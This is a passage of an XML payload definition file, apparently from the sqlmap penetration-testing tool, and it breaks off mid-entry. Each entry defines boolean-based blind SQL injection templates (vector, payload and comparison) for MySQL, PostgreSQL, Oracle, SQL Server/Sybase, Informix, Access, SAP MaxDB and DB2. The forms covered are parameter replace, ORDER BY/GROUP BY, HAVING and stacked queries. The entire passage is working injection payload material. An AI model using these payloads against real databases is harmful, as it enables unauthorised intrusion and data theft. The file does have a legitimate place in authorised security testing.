
849
    <test>
850
        <title>Microsoft SQL Server/Sybase boolean-based blind - Parameter replace</title>
851
        <stype>1</stype>
852
        <level>3</level>
853
        <risk>1</risk>
854
        <clause>1,3</clause>
855
        <where>3</where>
856
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</vector>
857
        <request>
858
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</payload>
859
        </request>
860
        <response>
861
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</comparison>
862
        </response>
863
        <details>
864
            <dbms>Microsoft SQL Server</dbms>
865
            <dbms>Sybase</dbms>
866
        </details>
867
    </test>
868

869
    <test>
870
        <title>Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)</title>
871
        <stype>1</stype>
872
        <level>4</level>
873
        <risk>1</risk>
874
        <clause>1,3</clause>
875
        <where>3</where>
876
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</vector>
877
        <request>
878
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</payload>
879
        </request>
880
        <response>
881
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</comparison>
882
        </response>
883
        <details>
884
            <dbms>Microsoft SQL Server</dbms>
885
            <dbms>Sybase</dbms>
886
        </details>
887
    </test>
888

889
    <test>
890
        <title>Oracle boolean-based blind - Parameter replace</title>
891
        <stype>1</stype>
892
        <level>3</level>
893
        <risk>1</risk>
894
        <clause>1,3</clause>
895
        <where>3</where>
896
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>
897
        <request>
898
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>
899
        </request>
900
        <response>
901
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison>
902
        </response>
903
        <details>
904
            <dbms>Oracle</dbms>
905
        </details>
906
    </test>
907

908
    <test>
909
        <title>Oracle boolean-based blind - Parameter replace (original value)</title>
910
        <stype>1</stype>
911
        <level>4</level>
912
        <risk>1</risk>
913
        <clause>1,3</clause>
914
        <where>3</where>
915
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>
916
        <request>
917
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>
918
        </request>
919
        <response>
920
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison>
921
        </response>
922
        <details>
923
            <dbms>Oracle</dbms>
924
        </details>
925
    </test>
926

927
    <test>
928
        <title>Informix boolean-based blind - Parameter replace</title>
929
        <stype>1</stype>
930
        <level>3</level>
931
        <risk>1</risk>
932
        <clause>1,3</clause>
933
        <where>3</where>
934
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)</vector>
935
        <request>
936
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)</payload>
937
        </request>
938
        <response>
939
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)</comparison>
940
        </response>
941
        <details>
942
            <dbms>Informix</dbms>
943
        </details>
944
    </test>
945

946
    <test>
947
        <title>Informix boolean-based blind - Parameter replace (original value)</title>
948
        <stype>1</stype>
949
        <level>4</level>
950
        <risk>1</risk>
951
        <clause>1,3</clause>
952
        <where>3</where>
953
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)</vector>
954
        <request>
955
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)</payload>
956
        </request>
957
        <response>
958
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)</comparison>
959
        </response>
960
        <details>
961
            <dbms>Informix</dbms>
962
        </details>
963
    </test>
964

965
    <test>
966
        <title>Microsoft Access boolean-based blind - Parameter replace</title>
967
        <stype>1</stype>
968
        <level>3</level>
969
        <risk>1</risk>
970
        <clause>1,3</clause>
971
        <where>3</where>
972
        <vector>IIF([INFERENCE],[RANDNUM],1/0)</vector>
973
        <request>
974
            <payload>IIF([RANDNUM]=[RANDNUM],[RANDNUM],1/0)</payload>
975
        </request>
976
        <response>
977
            <comparison>IIF([RANDNUM]=[RANDNUM1],[RANDNUM],1/0)</comparison>
978
        </response>
979
        <details>
980
            <dbms>Microsoft Access</dbms>
981
        </details>
982
    </test>
983

984
    <test>
985
        <title>Microsoft Access boolean-based blind - Parameter replace (original value)</title>
986
        <stype>1</stype>
987
        <level>4</level>
988
        <risk>1</risk>
989
        <clause>1,3</clause>
990
        <where>3</where>
991
        <vector>IIF([INFERENCE],[ORIGVALUE],1/0)</vector>
992
        <request>
993
            <payload>IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0)</payload>
994
        </request>
995
        <response>
996
            <comparison>IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0)</comparison>
997
        </response>
998
        <details>
999
            <dbms>Microsoft Access</dbms>
1000
        </details>
1001
    </test>
1002

1003
    <!-- Works in MySQL, Oracle, etc. -->
1004
    <test>
1005
        <title>Boolean-based blind - Parameter replace (DUAL)</title>
1006
        <stype>1</stype>
1007
        <level>2</level>
1008
        <risk>1</risk>
1009
        <clause>1,2,3</clause>
1010
        <where>3</where>
1011
        <vector>(CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</vector>
1012
        <request>
1013
            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</payload>
1014
        </request>
1015
        <response>
1016
            <comparison>(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</comparison>
1017
        </response>
1018
    </test>
1019

1020
    <test>
1021
        <title>Boolean-based blind - Parameter replace (DUAL - original value)</title>
1022
        <stype>1</stype>
1023
        <level>3</level>
1024
        <risk>1</risk>
1025
        <clause>1,2,3</clause>
1026
        <where>3</where>
1027
        <vector>(CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</vector>
1028
        <request>
1029
            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</payload>
1030
        </request>
1031
        <response>
1032
            <comparison>(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</comparison>
1033
        </response>
1034
    </test>
1035
    <!-- End of boolean-based blind tests - Parameter replace -->
1036

1037
    <!-- Works in SAP MaxDB, Informix, etc. -->
1038
    <test>
1039
        <title>Boolean-based blind - Parameter replace (CASE)</title>
1040
        <stype>1</stype>
1041
        <level>2</level>
1042
        <risk>1</risk>
1043
        <clause>1,3</clause>
1044
        <where>3</where>
1045
        <vector>(CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE NULL END)</vector>
1046
        <request>
1047
            <payload>(CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE NULL END)</payload>
1048
        </request>
1049
        <response>
1050
            <comparison>(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE NULL END)</comparison>
1051
        </response>
1052
    </test>
1053

1054
    <test>
1055
        <title>Boolean-based blind - Parameter replace (CASE - original value)</title>
1056
        <stype>1</stype>
1057
        <level>3</level>
1058
        <risk>1</risk>
1059
        <clause>1,3</clause>
1060
        <where>3</where>
1061
        <vector>(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)</vector>
1062
        <request>
1063
            <payload>(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)</payload>
1064
        </request>
1065
        <response>
1066
            <comparison>(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END)</comparison>
1067
        </response>
1068
    </test>
1069
    <!-- End of boolean-based blind tests - Parameter replace -->
1070

1071
    <!-- Boolean-based blind tests - ORDER BY, GROUP BY clause -->
1072
    <test>
1073
        <title>MySQL &gt;= 5.0 boolean-based blind - ORDER BY, GROUP BY clause</title>
1074
        <stype>1</stype>
1075
        <level>2</level>
1076
        <risk>1</risk>
1077
        <clause>2,3</clause>
1078
        <where>1</where>
1079
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
1080
        <request>
1081
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
1082
        </request>
1083
        <response>
1084
            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
1085
        </response>
1086
        <details>
1087
            <dbms>MySQL</dbms>
1088
            <dbms_version>&gt;= 5.0</dbms_version>
1089
        </details>
1090
    </test>
1091

1092
    <test>
1093
        <title>MySQL &gt;= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
1094
        <stype>1</stype>
1095
        <level>3</level>
1096
        <risk>1</risk>
1097
        <clause>2,3</clause>
1098
        <where>1</where>
1099
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
1100
        <request>
1101
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
1102
        </request>
1103
        <response>
1104
            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
1105
        </response>
1106
        <details>
1107
            <dbms>MySQL</dbms>
1108
            <dbms_version>&gt;= 5.0</dbms_version>
1109
        </details>
1110
    </test>
1111

1112
    <test>
1113
        <title>MySQL &lt; 5.0 boolean-based blind - ORDER BY, GROUP BY clause</title>
1114
        <stype>1</stype>
1115
        <level>3</level>
1116
        <risk>1</risk>
1117
        <clause>2,3</clause>
1118
        <where>1</where>
1119
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
1120
        <request>
1121
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
1122
        </request>
1123
        <response>
1124
            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
1125
        </response>
1126
        <details>
1127
            <dbms>MySQL</dbms>
1128
            <dbms_version>&lt; 5.0</dbms_version>
1129
        </details>
1130
    </test>
1131

1132
    <test>
1133
        <title>MySQL &lt; 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
1134
        <stype>1</stype>
1135
        <level>4</level>
1136
        <risk>1</risk>
1137
        <clause>2,3</clause>
1138
        <where>1</where>
1139
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
1140
        <request>
1141
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
1142
        </request>
1143
        <response>
1144
            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
1145
        </response>
1146
        <details>
1147
            <dbms>MySQL</dbms>
1148
            <dbms_version>&lt; 5.0</dbms_version>
1149
        </details>
1150
    </test>
1151

1152
    <test>
1153
        <title>PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause</title>
1154
        <stype>1</stype>
1155
        <level>2</level>
1156
        <risk>1</risk>
1157
        <clause>2,3</clause>
1158
        <where>1</where>
1159
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/(SELECT 0) END))</vector>
1160
        <request>
1161
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/(SELECT 0) END))</payload>
1162
        </request>
1163
        <response>
1164
            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/(SELECT 0) END))</comparison>
1165
        </response>
1166
        <details>
1167
            <dbms>PostgreSQL</dbms>
1168
        </details>
1169
    </test>
1170

1171
    <!-- It exclusively works with ORDER BY -->
1172
    <test>
1173
        <title>PostgreSQL boolean-based blind - ORDER BY clause (original value)</title>
1174
        <stype>1</stype>
1175
        <level>4</level>
1176
        <risk>1</risk>
1177
        <clause>3</clause>
1178
        <where>1</where>
1179
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</vector>
1180
        <request>
1181
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</payload>
1182
        </request>
1183
        <response>
1184
            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</comparison>
1185
        </response>
1186
        <details>
1187
            <dbms>PostgreSQL</dbms>
1188
        </details>
1189
    </test>
1190

1191
    <!--
1192
         TODO: this would work for GROUP BY too if sqlmap did not enclose string-based [ORIGVALUE] with single quotes, but then other payloads would break.
1193
               It already works for ORDER BY because it accepts int whereas GROUP BY only accepts format [table].[column] so [ORIGVALUE] must where it is
1194
    -->
1195
    <test>
1196
        <!-- <title>PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause (GENERATE_SERIES - original value)</title> -->
1197
        <title>PostgreSQL boolean-based blind - ORDER BY clause (GENERATE_SERIES)</title>
1198
        <stype>1</stype>
1199
        <level>5</level>
1200
        <risk>1</risk>
1201
        <!-- <clause>2,3</clause> -->
1202
        <clause>3</clause>
1203
        <where>1</where>
1204
        <vector>,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)</vector>
1205
        <request>
1206
            <payload>,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)</payload>
1207
        </request>
1208
        <response>
1209
            <comparison>,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)</comparison>
1210
        </response>
1211
        <details>
1212
            <dbms>PostgreSQL</dbms>
1213
        </details>
1214
    </test>
1215

1216
    <test>
1217
        <title>Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause</title>
1218
        <stype>1</stype>
1219
        <level>3</level>
1220
        <risk>1</risk>
1221
        <clause>3</clause>
1222
        <where>1</where>
1223
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</vector>
1224
        <request>
1225
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</payload>
1226
        </request>
1227
        <response>
1228
            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</comparison>
1229
        </response>
1230
        <details>
1231
            <dbms>Microsoft SQL Server</dbms>
1232
            <dbms>Sybase</dbms>
1233
        </details>
1234
    </test>
1235

1236
    <test>
1237
        <title>Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause (original value)</title>
1238
        <stype>1</stype>
1239
        <level>4</level>
1240
        <risk>1</risk>
1241
        <clause>3</clause>
1242
        <where>1</where>
1243
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</vector>
1244
        <request>
1245
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</payload>
1246
        </request>
1247
        <response>
1248
            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</comparison>
1249
        </response>
1250
        <details>
1251
            <dbms>Microsoft SQL Server</dbms>
1252
            <dbms>Sybase</dbms>
1253
        </details>
1254
    </test>
1255

1256
    <test>
1257
        <title>Oracle boolean-based blind - ORDER BY, GROUP BY clause</title>
1258
        <stype>1</stype>
1259
        <level>3</level>
1260
        <risk>1</risk>
1261
        <clause>2,3</clause>
1262
        <where>1</where>
1263
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>
1264
        <request>
1265
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>
1266
        </request>
1267
        <response>
1268
            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison>
1269
        </response>
1270
        <details>
1271
            <dbms>Oracle</dbms>
1272
        </details>
1273
    </test>
1274

1275
    <test>
1276
        <title>Oracle boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
1277
        <stype>1</stype>
1278
        <level>4</level>
1279
        <risk>1</risk>
1280
        <clause>2,3</clause>
1281
        <where>1</where>
1282
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>
1283
        <request>
1284
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>
1285
        </request>
1286
        <response>
1287
            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison>
1288
        </response>
1289
        <details>
1290
            <dbms>Oracle</dbms>
1291
        </details>
1292
    </test>
1293

1294
    <test>
1295
        <title>Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause</title>
1296
        <stype>1</stype>
1297
        <level>4</level>
1298
        <risk>1</risk>
1299
        <clause>2,3</clause>
1300
        <where>1</where>
1301
        <vector>,IIF([INFERENCE],1,1/0)</vector>
1302
        <request>
1303
            <payload>,IIF([RANDNUM]=[RANDNUM],1,1/0)</payload>
1304
        </request>
1305
        <response>
1306
            <comparison>,IIF([RANDNUM]=[RANDNUM1],1,1/0)</comparison>
1307
        </response>
1308
        <details>
1309
            <dbms>Microsoft Access</dbms>
1310
        </details>
1311
    </test>
1312

1313
    <test>
1314
        <title>Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
1315
        <stype>1</stype>
1316
        <level>5</level>
1317
        <risk>1</risk>
1318
        <clause>2,3</clause>
1319
        <where>1</where>
1320
        <vector>,IIF([INFERENCE],[ORIGVALUE],1/0)</vector>
1321
        <request>
1322
            <payload>,IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0)</payload>
1323
        </request>
1324
        <response>
1325
            <comparison>,IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0)</comparison>
1326
        </response>
1327
        <details>
1328
            <dbms>Microsoft Access</dbms>
1329
        </details>
1330
    </test>
1331

1332
    <test>
1333
        <title>SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause</title>
1334
        <stype>1</stype>
1335
        <level>4</level>
1336
        <risk>1</risk>
1337
        <clause>2,3</clause>
1338
        <where>1</where>
1339
        <vector>,(CASE WHEN [INFERENCE] THEN 1 ELSE NULL END)</vector>
1340
        <request>
1341
            <payload>,(CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END)</payload>
1342
        </request>
1343
        <response>
1344
            <comparison>,(CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END)</comparison>
1345
        </response>
1346
        <details>
1347
            <dbms>SAP MaxDB</dbms>
1348
        </details>
1349
    </test>
1350

1351
    <test>
1352
        <title>SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
1353
        <stype>1</stype>
1354
        <level>5</level>
1355
        <risk>1</risk>
1356
        <clause>2,3</clause>
1357
        <where>1</where>
1358
        <vector>,(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)</vector>
1359
        <request>
1360
            <payload>,(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)</payload>
1361
        </request>
1362
        <response>
1363
            <comparison>,(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END)</comparison>
1364
        </response>
1365
        <details>
1366
            <dbms>SAP MaxDB</dbms>
1367
        </details>
1368
    </test>
1369

1370
    <test>
1371
        <title>IBM DB2 boolean-based blind - ORDER BY clause</title>
1372
        <stype>1</stype>
1373
        <level>4</level>
1374
        <risk>1</risk>
1375
        <clause>3</clause>
1376
        <where>1</where>
1377
        <vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
1378
        <request>
1379
            <payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
1380
        </request>
1381
        <response>
1382
            <comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
1383
        </response>
1384
        <details>
1385
            <dbms>IBM DB2</dbms>
1386
        </details>
1387
    </test>
1388

1389
    <test>
1390
        <title>IBM DB2 boolean-based blind - ORDER BY clause (original value)</title>
1391
        <stype>1</stype>
1392
        <level>5</level>
1393
        <risk>1</risk>
1394
        <clause>3</clause>
1395
        <where>1</where>
1396
        <vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
1397
        <request>
1398
            <payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
1399
        </request>
1400
        <response>
1401
            <comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
1402
        </response>
1403
        <details>
1404
            <dbms>IBM DB2</dbms>
1405
        </details>
1406
    </test>
1407

1408
    <!-- Works in MySQL, Oracle, etc. -->
1409
    <test>
1410
        <title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
1411
        <stype>1</stype>
1412
        <level>3</level>
1413
        <risk>1</risk>
1414
        <clause>1,2</clause>
1415
        <where>1</where>
1416
        <vector>HAVING [INFERENCE]</vector>
1417
        <request>
1418
            <payload>HAVING [RANDNUM]=[RANDNUM]</payload>
1419
        </request>
1420
        <response>
1421
            <comparison>HAVING [RANDNUM]=[RANDNUM1]</comparison>
1422
        </response>
1423
    </test>
1424
    <!-- End of boolean-based blind tests - ORDER BY, GROUP BY clause -->
1425

1426
    <!-- Boolean-based blind tests - Stacked queries -->
1427
    <test>
1428
        <title>MySQL &gt;= 5.0 boolean-based blind - Stacked queries</title>
1429
        <stype>1</stype>
1430
        <level>4</level>
1431
        <risk>1</risk>
1432
        <clause>1-8</clause>
1433
        <where>1</where>
1434
        <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector>
1435
        <request>
1436
            <payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</payload>
1437
            <comment>#</comment>
1438
        </request>
1439
        <response>
1440
            <comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</comparison>
1441
        </response>
1442
        <details>
1443
            <dbms>MySQL</dbms>
1444
            <dbms_version>&gt;= 5.0</dbms_version>
1445
        </details>
1446
    </test>
1447

1448
    <test>
1449
        <title>MySQL &lt; 5.0 boolean-based blind - Stacked queries</title>
1450
        <stype>1</stype>
1451
        <level>5</level>
1452
        <risk>1</risk>
1453
        <clause>1-8</clause>
1454
        <where>1</where>
1455
        <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector>
1456
        <request>
1457
            <payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</payload>
1458
            <comment>#</comment>
1459
        </request>
1460
        <response>
1461
            <comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</comparison>
1462
        </response>
1463
        <details>
1464
            <dbms>MySQL</dbms>
1465
            <dbms_version>&lt; 5.0</dbms_version>
1466
        </details>
1467
    </test>
1468

1469
    <test>
1470
        <title>PostgreSQL boolean-based blind - Stacked queries</title>
1471
        <stype>1</stype>
1472
        <level>3</level>
1473
        <risk>1</risk>
1474
        <clause>1-8</clause>
1475
        <where>1</where>
1476
        <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)</vector>
1477
        <request>
1478
            <payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)</payload>
1479
            <comment>--</comment>
1480
        </request>
1481
        <response>
1482
